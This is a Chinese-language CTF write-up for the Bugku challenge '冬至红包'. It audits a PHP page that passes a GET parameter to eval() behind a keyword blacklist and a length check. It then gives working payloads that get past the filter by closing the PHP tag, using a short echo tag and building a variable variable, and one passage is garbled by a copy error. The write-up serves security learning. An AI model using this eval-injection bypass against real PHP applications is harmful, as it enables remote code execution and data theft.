Bugku 冬至红包
题目
<?phperror_reporting(0);require __DIR__.'/flag.php';$exam = 'return\''.sha1(time()).'\';';if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';}else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';}else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';}else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;}else {
echo '马老师发生甚么事了';}echo '<hr>';highlight_file(__FILE__);
这是要我们代码审计,好像和红包没有关系
分析代码:
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
存在flag.php文件 变量exam=return+sha1(time())+’;
\ 反斜杠作为转义符存在
sha1(time()):是当前时间的一个哈希值
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';}
判断是不是GET传值,当没有用GET方法传入flag时,会显示Click here的链接
点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。
?flag=return'5dffa57a769cf38f21d7e5bf7ea69a79da387fb1';
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';}
判断传入的flag长度与$exam是否相同,不同则显示 长度不允许
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';}
这个判断过滤了一大堆字符,如果出现过滤字符便会输出回显 ‘关键字不允许’
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;}
这个判断 传入flag的值等于flag值的哈希值,正确就输出flag。用的是严格的三个等号的强比较,
关键是我们flag都不知道,哈希值更不可能知道了
但很快发现eval($_GET['flag']
此处存在任意代码执行漏洞,我们可以通过闭合标签来执行代码。
我们看到许多命令都被过滤了但是可以通过php短语来实现
短语?是不是说短标签?
假如你在HTML页面中嵌入 PHP 代码的话,可以使用短标签,如:
<html><body><?=$aaaaa?></body>
</html>
这里的<?=$aaaaa?>
等价于 <?php echo $aaaaa; ?>
e x a m 字 符 串 长 度 为 49 ( 不 要 把 标 点 符 号 漏 了 ) 为 了 使 p a y l o a d 长 度 与 exam字符串长度为49(不要把标点符号漏了) 为了使payload长度与 exam字符串长度为49(不要把标点符号漏了)为了使payload长度与exam长度相等,在代码间加入无意义的语句。flag,php等都被过滤了但是我们可以用数组拼接flag,并且[]的过滤可以用{}替代[]在数组中。
构造payload:
$a=blag;$a{
0}=f;111111111111111111111;?><?=$$a;?> or
$a=flgg;$a{
2}=a;111111111111111111111;?><?=$$a;?>
直接得到flag